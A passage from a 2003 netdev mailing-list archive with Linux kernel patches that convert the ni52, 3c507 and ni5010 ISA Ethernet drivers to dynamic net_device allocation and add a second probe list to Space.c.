@@ extern int ne3210_probe(struct net_device *); extern int e2100_probe(struct net_device *); extern int ni5010_probe(struct net_device *); -extern int ni52_probe(struct net_device *); +extern struct net_device *ni52_probe(int unit); extern struct net_device *ni65_probe(int unit); extern int sonic_probe(struct net_device *); extern int SK_init(struct net_device *); @@ -287,13 +287,13 @@ #ifdef CONFIG_NI5010 {ni5010_probe, 0}, #endif -#ifdef CONFIG_NI52 - {ni52_probe, 0}, -#endif {NULL, 0}, }; static struct devprobe2 isa_probes2[] __initdata = { +#ifdef CONFIG_NI52 + {ni52_probe, 0}, +#endif #ifdef CONFIG_NI65 {ni65_probe, 0}, #endif diff -Nru a/drivers/net/ni52.c b/drivers/net/ni52.c --- a/drivers/net/ni52.c Tue Sep 23 12:57:52 2003 +++ b/drivers/net/ni52.c Tue Sep 23 12:57:52 2003 @@ -354,50 +354,76 @@ memset((char *)p->scb,0,sizeof(struct scb_struct)); } +/* set: io,irq,memstart,memend or set it when calling insmod */ +static int irq=9; +static int io=0x300; +static long memstart; /* e.g 0xd0000 */ +static long memend; /* e.g 0xd4000 */ + /********************************************** * probe the ni5210-card */ -int __init ni52_probe(struct net_device *dev) +struct net_device * __init ni52_probe(int unit) { -#ifndef MODULE - int *port; + struct net_device *dev = alloc_etherdev(sizeof(struct priv)); static int ports[] = {0x300, 0x280, 0x360 , 0x320 , 0x340, 0}; -#endif - int base_addr = dev->base_addr; - - SET_MODULE_OWNER(dev); + int *port; + int err = 0; - if (base_addr > 0x1ff) /* Check a single specified location. */ - return ni52_probe1(dev, base_addr); - else if (base_addr > 0) /* Don't probe at all. */ - return -ENXIO; + if (!dev) + return ERR_PTR(-ENOMEM); -#ifdef MODULE - printk("%s: no autoprobing allowed for modules.\n",dev->name); -#else - for (port = ports; *port; port++) { - int ioaddr = *port; - dev->base_addr = ioaddr; - if (ni52_probe1(dev, ioaddr) == 0) - return 0; + if (unit >= 0) { + sprintf(dev->name, "eth%d", unit); + netdev_boot_setup_check(dev); + io = dev->base_addr; + irq = dev->irq; + memstart = dev->mem_start; + memend = dev->mem_end; } -#ifdef FULL_IO_PROBE - for(dev->base_addr=0x200; dev->base_addr<0x400; dev->base_addr+=8) - if (ni52_probe1(dev, dev->base_addr) == 0) - return 0; -#endif + SET_MODULE_OWNER(dev); + if (io > 0x1ff) { /* Check a single specified location. */ + err = ni52_probe1(dev, io); + } else if (io > 0) { /* Don't probe at all. */ + err = -ENXIO; + } else { + for (port = ports; *port && ni52_probe1(dev, *port) ; port++) + ; + if (*port) + goto got_it; +#ifdef FULL_IO_PROBE + for (io = 0x200; io < 0x400 && ni52_probe1(dev, io); io += 8) + ; + if (io < 0x400) + goto got_it; #endif - - dev->base_addr = base_addr; - return -ENODEV; + err = -ENODEV; + } + if (err) + goto out; +got_it: + err = register_netdev(dev); + if (err) + goto out1; + return dev; +out1: + release_region(dev->base_addr, NI52_TOTAL_SIZE); +out: + free_netdev(dev); + return ERR_PTR(err); } static int __init ni52_probe1(struct net_device *dev,int ioaddr) { int i, size, retval; + dev->base_addr = ioaddr; + dev->irq = irq; + dev->mem_start = memstart; + dev->mem_end = memend; + if (!request_region(ioaddr, NI52_TOTAL_SIZE, dev->name)) return -EBUSY; @@ -416,7 +442,7 @@ goto out; } - printk("%s: NI5210 found at %#3lx, ",dev->name,dev->base_addr); + printk(KERN_INFO "%s: NI5210 found at %#3lx, ",dev->name,dev->base_addr); /* * check (or search) IO-Memory, 8K and 16K @@ -469,13 +495,6 @@ dev->mem_end = dev->mem_start + size; /* set mem_end showed by 'ifconfig' */ #endif - dev->priv = (void *) kmalloc(sizeof(struct priv),GFP_KERNEL); - if(dev->priv == NULL) { - printk("%s: Ooops .. can't allocate private driver memory.\n",dev->name); - retval = -ENOMEM; - goto out; - } - /* warning: we don't free it on errors */ memset((char *) dev->priv,0,sizeof(struct priv)); ((struct priv *) (dev->priv))->memtop = isa_bus_to_virt(dev->mem_start) + size; @@ -503,8 +522,6 @@ if(!dev->irq) { printk("?autoirq, Failed to detect IRQ line!\n"); - kfree(dev->priv); - dev->priv = NULL; retval = -EAGAIN; goto out; } @@ -526,8 +543,6 @@ dev->if_port = 0; - ether_setup(dev); - return 0; out: release_region(ioaddr, NI52_TOTAL_SIZE); @@ -1295,13 +1310,7 @@ } #ifdef MODULE -static struct net_device dev_ni52; - -/* set: io,irq,memstart,memend or set it when calling insmod */ -static int irq=9; -static int io=0x300; -static long memstart; /* e.g 0xd0000 */ -static long memend; /* e.g 0xd4000 */ +static struct net_device *dev_ni52; MODULE_PARM(io, "i"); MODULE_PARM(irq, "i"); @@ -1318,22 +1327,17 @@ printk("ni52: Autoprobing not allowed for modules.\nni52: Set symbols 'io' 'irq' 'memstart' and 'memend'\n"); return -ENODEV; } - dev_ni52.init = ni52_probe; - dev_ni52.irq = irq; - dev_ni52.base_addr = io; - dev_ni52.mem_end = memend; - dev_ni52.mem_start = memstart; - if (register_netdev(&dev_ni52) != 0) - return -EIO; + dev_ni52 = ni52_probe(-1); + if (IS_ERR(dev_ni52)) + return PTR_ERR(dev_ni52); return 0; } void cleanup_module(void) { - release_region(dev_ni52.base_addr, NI52_TOTAL_SIZE); - unregister_netdev(&dev_ni52); - kfree(dev_ni52.priv); - dev_ni52.priv = NULL; + unregister_netdev(dev_ni52); + release_region(dev_ni52->base_addr, NI52_TOTAL_SIZE); + free_netdev(dev_ni52); } #endif /* MODULE */ From shemminger@osdl.org Tue Sep 23 15:02:28 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Sep 2003 15:02:35 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NM2RFx022624 for ; Tue, 23 Sep 2003 15:02:27 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8NM27112177; Tue, 23 Sep 2003 15:02:07 -0700 Date: Tue, 23 Sep 2003 15:01:23 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] (7/7) 3c507 dynamic allocation Message-Id: <20030923150123.146ad4fc.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h8NM2RFx022624 X-archive-position: 186 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 5887 Lines: 219 Originally from viro NE19-3c507 * switched 3c507 to dynamic allocation * 3c507: embedded ->priv * 3c507: fixed clobbering on autoprobe * NB: 3c507.c buggers port 0x100 without claiming it. Most likely it should be doing request_region() there. diff -Nru a/drivers/net/3c507.c b/drivers/net/3c507.c --- a/drivers/net/3c507.c Tue Sep 23 13:40:53 2003 +++ b/drivers/net/3c507.c Tue Sep 23 13:40:53 2003 @@ -74,10 +74,6 @@ #define debug net_debug -/* A zero-terminated list of common I/O addresses to be probed. */ -static unsigned int netcard_portlist[] __initdata = - { 0x300, 0x320, 0x340, 0x280, 0}; - /* Details of the i82586. @@ -286,8 +282,6 @@ /* Index to functions, as function prototypes. */ -extern int el16_probe(struct net_device *dev); /* Called from Space.c */ - static int el16_probe1(struct net_device *dev, int ioaddr); static int el16_open(struct net_device *dev); static int el16_send_packet(struct sk_buff *skb, struct net_device *dev); @@ -301,6 +295,9 @@ static void init_82586_mem(struct net_device *dev); static struct ethtool_ops netdev_ethtool_ops; +static int io = 0x300; +static int mem_start; + /* Check for a network adaptor of this type, and return '0' iff one exists. If dev->base_addr == 0, probe all likely locations. @@ -309,23 +306,47 @@ device and return success. */ -int __init el16_probe(struct net_device *dev) +struct net_device * __init el16_probe(int unit) { - int base_addr = dev->base_addr; - int i; + struct net_device *dev = alloc_etherdev(sizeof(struct net_local)); + static unsigned ports[] = { 0x300, 0x320, 0x340, 0x280, 0}; + unsigned *port; + int err = 0; + + if (!dev) + return ERR_PTR(-ENODEV); + + if (unit >= 0) { + sprintf(dev->name, "eth%d", unit); + netdev_boot_setup_check(dev); + io = dev->base_addr; + mem_start = dev->mem_start & 15; + } SET_MODULE_OWNER(dev); - if (base_addr > 0x1ff) /* Check a single specified location. */ - return el16_probe1(dev, base_addr); - else if (base_addr != 0) - return -ENXIO; /* Don't probe at all. */ - - for (i = 0; netcard_portlist[i]; i++) - if (el16_probe1(dev, netcard_portlist[i]) == 0) - return 0; - - return -ENODEV; + if (io > 0x1ff) { /* Check a single specified location. */ + err = el16_probe1(dev, io); + } else if (io != 0) { + err = -ENXIO; /* Don't probe at all. */ + } else { + for (port = ports; *port && el16_probe1(dev, *port); port++) + ; + if (!*port) + err = -ENODEV; + } + if (err) + goto out; + err = register_netdev(dev); + if (err) + goto out1; + return dev; +out1: + free_irq(dev->irq, dev); + release_region(dev->base_addr, EL16_IO_EXTENT); +out: + free_netdev(dev); + return ERR_PTR(err); } static int __init el16_probe1(struct net_device *dev, int ioaddr) @@ -383,8 +404,8 @@ printk(" %02x", dev->dev_addr[i]); } - if ((dev->mem_start & 0xf) > 0) - net_debug = dev->mem_start & 7; + if (mem_start) + net_debug = mem_start & 7; #ifdef MEM_BASE dev->mem_start = MEM_BASE; @@ -416,27 +437,18 @@ if (net_debug) printk(version); - /* Initialize the device structure. */ - lp = dev->priv = kmalloc(sizeof(struct net_local), GFP_KERNEL); - if (dev->priv == NULL) { - retval = -ENOMEM; - goto out; - } - memset(dev->priv, 0, sizeof(struct net_local)); + lp = dev->priv; + memset(lp, 0, sizeof(*lp)); spin_lock_init(&lp->lock); - dev->open = el16_open; - dev->stop = el16_close; + dev->open = el16_open; + dev->stop = el16_close; dev->hard_start_xmit = el16_send_packet; dev->get_stats = el16_get_stats; dev->tx_timeout = el16_tx_timeout; dev->watchdog_timeo = TX_TIMEOUT; dev->ethtool_ops = &netdev_ethtool_ops; - - ether_setup(dev); /* Generic ethernet behaviour */ - - dev->flags&=~IFF_MULTICAST; /* Multicast doesn't work */ - + dev->flags &= ~IFF_MULTICAST; /* Multicast doesn't work */ return 0; out: release_region(ioaddr, EL16_IO_EXTENT); @@ -899,8 +911,7 @@ }; #ifdef MODULE -static struct net_device dev_3c507; -static int io = 0x300; +static struct net_device *dev_3c507; static int irq; MODULE_PARM(io, "i"); MODULE_PARM(irq, "i"); @@ -911,26 +922,18 @@ { if (io == 0) printk("3c507: You should not use auto-probing with insmod!\n"); - dev_3c507.base_addr = io; - dev_3c507.irq = irq; - dev_3c507.init = el16_probe; - if (register_netdev(&dev_3c507) != 0) { - printk("3c507: register_netdev() returned non-zero.\n"); - return -EIO; - } - return 0; + dev_3c507 = el16_probe(-1); + return IS_ERR(dev_3c507) ? PTR_ERR(dev_3c507) : 0; } void cleanup_module(void) { - unregister_netdev(&dev_3c507); - kfree(dev_3c507.priv); - dev_3c507.priv = NULL; - - /* If we don't do this, we can't re-insmod it later. */ - free_irq(dev_3c507.irq, &dev_3c507); - release_region(dev_3c507.base_addr, EL16_IO_EXTENT); + struct net_device *dev = dev_3c507; + unregister_netdev(dev); + free_irq(dev->irq, dev); + release_region(dev->base_addr, EL16_IO_EXTENT); + free_netdev(dev); } #endif /* MODULE */ MODULE_LICENSE("GPL"); diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Tue Sep 23 13:40:53 2003 +++ b/drivers/net/Space.c Tue Sep 23 13:40:53 2003 @@ -60,7 +60,7 @@ extern int el1_probe(struct net_device *); extern int wavelan_probe(struct net_device *); extern int arlan_probe(struct net_device *); -extern int el16_probe(struct net_device *); +extern struct net_device *el16_probe(int unit); extern int elmc_probe(struct net_device *); extern int skmca_probe(struct net_device *); extern struct net_device *elplus_probe(int unit); @@ -275,13 +275,13 @@ #ifdef CONFIG_ARLAN /* Aironet */ {arlan_probe, 0}, #endif -#ifdef CONFIG_EL16 /* 3c507 */ - {el16_probe, 0}, -#endif {NULL, 0}, }; static struct devprobe2 isa_probes2[] __initdata = { +#ifdef CONFIG_EL16 /* 3c507 */ + {el16_probe, 0}, +#endif #ifdef CONFIG_ELPLUS /* 3c505 */ {elplus_probe, 0}, #endif From shemminger@osdl.org Tue Sep 23 15:02:15 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Sep 2003 15:02:26 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NM2EFx022584 for ; Tue, 23 Sep 2003 15:02:14 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8NM26112141; Tue, 23 Sep 2003 15:02:06 -0700 Date: Tue, 23 Sep 2003 14:58:27 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] (4/7) ni5010 -- dynamic allocation Message-Id: <20030923145827.11d29f91.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 184 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 11000 Lines: 403 Originally from viro NE16-ni5010 * switched ni5010 to dynamic allocation * ni5010: embedded ->priv * ni5010: fixed clobbering ->irq * ni5010: fixed IO before request_region() + make i_pkt_size a stack local only used on rx intr + protect o_pkt_size inside lock window diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Tue Sep 23 13:23:19 2003 +++ b/drivers/net/Space.c Tue Sep 23 13:23:19 2003 @@ -69,7 +69,7 @@ extern int lne390_probe(struct net_device *); extern int ne3210_probe(struct net_device *); extern int e2100_probe(struct net_device *); -extern int ni5010_probe(struct net_device *); +extern struct net_device *ni5010_probe(int unit); extern struct net_device *ni52_probe(int unit); extern struct net_device *ni65_probe(int unit); extern int sonic_probe(struct net_device *); @@ -284,13 +284,13 @@ #ifdef CONFIG_SK_G16 {SK_init, 0}, #endif -#ifdef CONFIG_NI5010 - {ni5010_probe, 0}, -#endif {NULL, 0}, }; static struct devprobe2 isa_probes2[] __initdata = { +#ifdef CONFIG_NI5010 + {ni5010_probe, 0}, +#endif #ifdef CONFIG_NI52 {ni52_probe, 0}, #endif diff -Nru a/drivers/net/ni5010.c b/drivers/net/ni5010.c --- a/drivers/net/ni5010.c Tue Sep 23 13:23:19 2003 +++ b/drivers/net/ni5010.c Tue Sep 23 13:23:19 2003 @@ -82,7 +82,7 @@ #ifndef FULL_IODETECT /* A zero-terminated list of I/O addresses to be probed. */ -static unsigned int ni5010_portlist[] __initdata = +static unsigned int ports[] __initdata = { 0x300, 0x320, 0x340, 0x360, 0x380, 0x3a0, 0 }; #endif @@ -95,13 +95,11 @@ struct ni5010_local { struct net_device_stats stats; int o_pkt_size; - int i_pkt_size; spinlock_t lock; }; /* Index to functions, as function prototypes. */ -extern int ni5010_probe(struct net_device *dev); static int ni5010_probe1(struct net_device *dev, int ioaddr); static int ni5010_open(struct net_device *dev); static int ni5010_send_packet(struct sk_buff *skb, struct net_device *dev); @@ -120,38 +118,58 @@ static void dump_packet(void *buf, int len); static void ni5010_show_registers(struct net_device *dev); +static int io; +static int irq; -int __init ni5010_probe(struct net_device *dev) +struct net_device * __init ni5010_probe(int unit) { + struct net_device *dev = alloc_etherdev(sizeof(struct ni5010_local)); int *port; - int base_addr = dev->base_addr; + int err = 0; - PRINTK2((KERN_DEBUG "%s: Entering ni5010_probe\n", dev->name)); + if (!dev) + return ERR_PTR(-ENOMEM); - SET_MODULE_OWNER(dev); + if (unit >= 0) { + sprintf(dev->name, "eth%d", unit); + netdev_boot_setup_check(dev); + io = dev->base_addr; + irq = dev->irq; + } - if (base_addr > 0x1ff) /* Check a single specified location. */ - return ni5010_probe1(dev, base_addr); - else if (base_addr != 0) /* Don't probe at all. */ - return -ENXIO; + PRINTK2((KERN_DEBUG "%s: Entering ni5010_probe\n", dev->name)); + SET_MODULE_OWNER(dev); + + if (io > 0x1ff) { /* Check a single specified location. */ + err = ni5010_probe1(dev, io); + } else if (io != 0) { /* Don't probe at all. */ + err = -ENXIO; + } else { #ifdef FULL_IODETECT - for (int ioaddr=0x200; ioaddr<0x400; ioaddr+=0x20) { - if (check_region(ioaddr, NI5010_IO_EXTENT)) - continue; - if (ni5010_probe1(dev, ioaddr) == 0) - return 0; - } + for (io=0x200; io<0x400 && ni5010_probe1(dev, io) ; io+=0x20) + ; + if (io == 0x400) + err = -ENODEV; + #else - for (port = ni5010_portlist; *port; port++) { - int ioaddr = *port; - if (check_region(ioaddr, NI5010_IO_EXTENT)) - continue; - if (ni5010_probe1(dev, ioaddr) == 0) - return 0; - } + for (port = ports; *port && ni5010_probe1(dev, *port); port++) + ; + if (!*port) + err = -ENODEV; #endif /* FULL_IODETECT */ - return -ENODEV; + } + if (err) + goto out; + err = register_netdev(dev); + if (err) + goto out1; + return dev; +out1: + release_region(dev->base_addr, NI5010_IO_EXTENT); +out: + free_netdev(dev); + return ERR_PTR(err); } static inline int rd_port(int ioaddr) @@ -188,9 +206,17 @@ static int __init ni5010_probe1(struct net_device *dev, int ioaddr) { static unsigned version_printed; + struct ni5010_local *lp; int i; unsigned int data = 0; int boguscount = 40; + int err = -ENODEV; + + dev->base_addr = ioaddr; + dev->irq = irq; + + if (!request_region(ioaddr, NI5010_IO_EXTENT, boardname)) + return -EBUSY; /* * This is no "official" probe method, I've rather tested which @@ -205,36 +231,40 @@ * * - Andreas */ - + PRINTK2((KERN_DEBUG "%s: entering ni5010_probe1(%#3x)\n", dev->name, ioaddr)); - if (inb(ioaddr+0) == 0xff) return -ENODEV; + if (inb(ioaddr+0) == 0xff) + goto out; while ( (rd_port(ioaddr) & rd_port(ioaddr) & rd_port(ioaddr) & rd_port(ioaddr) & rd_port(ioaddr) & rd_port(ioaddr)) != 0xff) { - if (boguscount-- == 0) return -ENODEV; + if (boguscount-- == 0) + goto out; } PRINTK2((KERN_DEBUG "%s: I/O #1 passed!\n", dev->name)); for (i=0; i<32; i++) if ( (data = rd_port(ioaddr)) != 0xff) break; - if (data==0xff) return -ENODEV; + if (data==0xff) + goto out; PRINTK2((KERN_DEBUG "%s: I/O #2 passed!\n", dev->name)); - if ( (data == SA_ADDR0) && - (rd_port(ioaddr) == SA_ADDR1) && - (rd_port(ioaddr) == SA_ADDR2) ) { - for (i=0; i<4; i++) rd_port(ioaddr); - if ( (rd_port(ioaddr) != NI5010_MAGICVAL1) || - (rd_port(ioaddr) != NI5010_MAGICVAL2) ) { - return -ENODEV; - } - } else return -ENODEV; - + if ((data != SA_ADDR0) || (rd_port(ioaddr) != SA_ADDR1) || + (rd_port(ioaddr) != SA_ADDR2)) + goto out; + + for (i=0; i<4; i++) + rd_port(ioaddr); + + if ( (rd_port(ioaddr) != NI5010_MAGICVAL1) || + (rd_port(ioaddr) != NI5010_MAGICVAL2) ) + goto out; + PRINTK2((KERN_DEBUG "%s: I/O #3 passed!\n", dev->name)); if (NI5010_DEBUG && version_printed++ == 0) @@ -267,8 +297,9 @@ PRINTK2((KERN_DEBUG "%s: I/O #6 passed!\n", dev->name)); if (dev->irq == 0) { + err = -EAGAIN; printk(KERN_WARNING "%s: no IRQ found!\n", dev->name); - return -EAGAIN; + goto out; } PRINTK2((KERN_DEBUG "%s: I/O #7 passed!\n", dev->name)); } else if (dev->irq == 2) { @@ -278,19 +309,9 @@ PRINTK2((KERN_DEBUG "%s: I/O #9 passed!\n", dev->name)); /* DMA is not supported (yet?), so no use detecting it */ + lp = (struct ni5010_local*)dev->priv; - if (dev->priv == NULL) { - struct ni5010_local* lp; - - dev->priv = kmalloc(sizeof(struct ni5010_local), GFP_KERNEL|GFP_DMA); - if (dev->priv == NULL) { - printk(KERN_WARNING "%s: Failed to allocate private memory\n", dev->name); - return -ENOMEM; - } - - lp = (struct ni5010_local*)dev->priv; - spin_lock_init(&lp->lock); - } + spin_lock_init(&lp->lock); PRINTK2((KERN_DEBUG "%s: I/O #10 passed!\n", dev->name)); @@ -315,9 +336,6 @@ } printk("// bufsize rcv/xmt=%d/%d\n", bufsize_rcv, NI5010_BUFSIZE); memset(dev->priv, 0, sizeof(struct ni5010_local)); - - /* Grab the region so we can find another board if autoIRQ fails. */ - request_region(ioaddr, NI5010_IO_EXTENT, boardname); dev->open = ni5010_open; dev->stop = ni5010_close; @@ -327,9 +345,6 @@ dev->tx_timeout = ni5010_timeout; dev->watchdog_timeo = HZ/20; - /* Fill in the fields of the device structure with ethernet values. */ - ether_setup(dev); - dev->flags &= ~IFF_MULTICAST; /* Multicast doesn't work */ /* Shut up the ni5010 */ @@ -345,6 +360,9 @@ printk(KERN_INFO "Join the NI5010 driver development team!\n"); printk(KERN_INFO "Mail to a.mohr@mailto.de or jvbest@wi.leidenuniv.nl\n"); return 0; +out: + release_region(dev->base_addr, NI5010_IO_EXTENT); + return err; } /* @@ -513,6 +531,7 @@ int ioaddr = dev->base_addr; unsigned char rcv_stat; struct sk_buff *skb; + int i_pkt_size; PRINTK2((KERN_DEBUG "%s: entering ni5010_rx()\n", dev->name)); @@ -532,17 +551,17 @@ outb(0xff, EDLC_RCLR); /* Clear the interrupt */ - lp->i_pkt_size = inw(IE_RCNT); - if (lp->i_pkt_size > ETH_FRAME_LEN || lp->i_pkt_size < 10 ) { + i_pkt_size = inw(IE_RCNT); + if (i_pkt_size > ETH_FRAME_LEN || i_pkt_size < 10 ) { PRINTK((KERN_DEBUG "%s: Packet size error, packet size = %#4.4x\n", - dev->name, lp->i_pkt_size)); + dev->name, i_pkt_size)); lp->stats.rx_errors++; lp->stats.rx_length_errors++; return; } /* Malloc up new buffer. */ - skb = dev_alloc_skb(lp->i_pkt_size + 3); + skb = dev_alloc_skb(i_pkt_size + 3); if (skb == NULL) { printk(KERN_WARNING "%s: Memory squeeze, dropping packet.\n", dev->name); lp->stats.rx_dropped++; @@ -555,7 +574,7 @@ /* Read packet into buffer */ outb(MM_MUX, IE_MMODE); /* Rcv buffer to system bus */ outw(0, IE_GP); /* Seek to beginning of packet */ - insb(IE_RBUF, skb_put(skb, lp->i_pkt_size), lp->i_pkt_size); + insb(IE_RBUF, skb_put(skb, i_pkt_size), i_pkt_size); if (NI5010_DEBUG >= 4) dump_packet(skb->data, skb->len); @@ -564,10 +583,10 @@ netif_rx(skb); dev->last_rx = jiffies; lp->stats.rx_packets++; - lp->stats.rx_bytes += lp->i_pkt_size; + lp->stats.rx_bytes += i_pkt_size; PRINTK2((KERN_DEBUG "%s: Received packet, size=%#4.4x\n", - dev->name, lp->i_pkt_size)); + dev->name, i_pkt_size)); } @@ -697,10 +716,10 @@ if (NI5010_DEBUG > 3) dump_packet(buf, length); - buf_offs = NI5010_BUFSIZE - length - pad; - lp->o_pkt_size = length + pad; + buf_offs = NI5010_BUFSIZE - length - pad; spin_lock_irqsave(&lp->lock, flags); + lp->o_pkt_size = length + pad; outb(0, EDLC_RMASK); /* Mask all receive interrupts */ outb(0, IE_MMODE); /* Put Xmit buffer on system bus */ @@ -745,9 +764,7 @@ } #ifdef MODULE -static struct net_device dev_ni5010; -static int io; -static int irq; +static struct net_device *dev_ni5010; MODULE_PARM(io, "i"); MODULE_PARM(irq, "i"); @@ -756,8 +773,6 @@ int init_module(void) { - int result; - PRINTK2((KERN_DEBUG "%s: entering init_module\n", boardname)); /* if(io <= 0 || irq == 0){ @@ -771,29 +786,18 @@ } PRINTK2((KERN_DEBUG "%s: init_module irq=%#2x, io=%#3x\n", boardname, irq, io)); - dev_ni5010.irq=irq; - dev_ni5010.base_addr=io; - dev_ni5010.init=ni5010_probe; - if ((result = register_netdev(&dev_ni5010)) != 0) { - PRINTK((KERN_WARNING "%s: register_netdev returned %d.\n", - boardname, result)); - return -EIO; - } + dev_ni5010 = ni5010_probe(-1); + if (IS_ERR(dev_ni5010)) + return PTR_ERR(dev_ni5010); return 0; } -void -cleanup_module(void) +void cleanup_module(void) { PRINTK2((KERN_DEBUG "%s: entering cleanup_module\n", boardname)); - - unregister_netdev(&dev_ni5010); - - release_region(dev_ni5010.base_addr, NI5010_IO_EXTENT); - if (dev_ni5010.priv != NULL){ - kfree(dev_ni5010.priv); - dev_ni5010.priv = NULL; - } + unregister_netdev(dev_ni5010); + release_region(dev_ni5010->base_addr, NI5010_IO_EXTENT); + free_netdev(dev_ni5010); } #endif /* MODULE */ MODULE_LICENSE("GPL"); From shemminger@osdl.org Tue Sep 23 15:02:33 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Sep 2003 15:02:40 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NM2WFx022725 for ; Tue, 23 Sep 2003 15:02:32 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8NM25112121; Tue, 23 Sep 2003 15:02:05 -0700 Date: Tue, 23 Sep 2003 14:47:21 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] (0/7) device_probe enhancement Message-Id: <20030923144721.6001c598.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 187 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 3388 Lines: 120 This comes from Al Viro's net device patchset and is updated for 2.6.0-test5 latest. It adds a second probe list for network devices that are compiled into the kernel, but allocate their own network device rather than being handed a device. It is part of the incremental changes to have all network devices using dynamic allocation. diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Tue Sep 23 12:56:25 2003 +++ b/drivers/net/Space.c Tue Sep 23 12:56:25 2003 @@ -111,6 +111,11 @@ int status; /* non-zero if autoprobe has failed */ }; +struct devprobe2 { + struct net_device *(*probe)(int unit); + int status; /* non-zero if autoprobe has failed */ +}; + /* * probe_list walks a list of probe functions and calls each so long * as a non-zero ioaddr is given, or as long as it hasn't already failed @@ -136,6 +141,21 @@ return -ENODEV; } +static int __init probe_list2(int unit, struct devprobe2 *p, int autoprobe) +{ + struct net_device *dev; + for (; p->probe; p++) { + if (autoprobe && p->status) + continue; + dev = p->probe(unit); + if (!IS_ERR(dev)) + return 0; + if (autoprobe) + p->status = PTR_ERR(dev); + } + return -ENODEV; +} + /* * This is a bit of an artificial separation as there are PCI drivers * that also probe for EISA cards (in the PCI group) and there are ISA @@ -376,6 +396,16 @@ return err; } + +static void __init ethif_probe2(int unit) +{ + unsigned long base_addr = netdev_boot_base("eth", unit); + + if (base_addr == 1) + return; + + return; /* nothing yet */ +} #ifdef CONFIG_TR /* Token-ring device probe */ @@ -445,9 +475,12 @@ if (trif_probe(num)) break; #endif - for (num = 0; num < 8; ++num) + for (num = 0; num < 8; ++num) { if (ethif_probe(num)) break; + ethif_probe2(num); + } + #ifdef CONFIG_COPS cops_probe(0); cops_probe(1); diff -Nru a/include/linux/netdevice.h b/include/linux/netdevice.h --- a/include/linux/netdevice.h Tue Sep 23 12:56:25 2003 +++ b/include/linux/netdevice.h Tue Sep 23 12:56:25 2003 @@ -498,6 +498,7 @@ extern void probe_old_netdevs(void); extern int netdev_boot_setup_add(char *name, struct ifmap *map); extern int netdev_boot_setup_check(struct net_device *dev); +extern unsigned long netdev_boot_base(const char *prefix, int unit); extern struct net_device *dev_getbyhwaddr(unsigned short type, char *hwaddr); extern void dev_add_pack(struct packet_type *pt); extern void dev_remove_pack(struct packet_type *pt); diff -Nru a/net/core/dev.c b/net/core/dev.c --- a/net/core/dev.c Tue Sep 23 12:56:25 2003 +++ b/net/core/dev.c Tue Sep 23 12:56:25 2003 @@ -375,6 +375,30 @@ return 0; } + +/** + * netdev_boot_base - get address from boot time settings + * @prefix: prefix for network device + * @unit: id for network device + * + * Check boot time settings for the base address of device. + * The found settings are set for the device to be used + * later in the device probing. + * Returns 0 if no settings found. + */ +unsigned long netdev_boot_base(const char *prefix, int unit) +{ + const struct netdev_boot_setup *s = dev_boot_setup; + char name[IFNAMSIZ]; + int 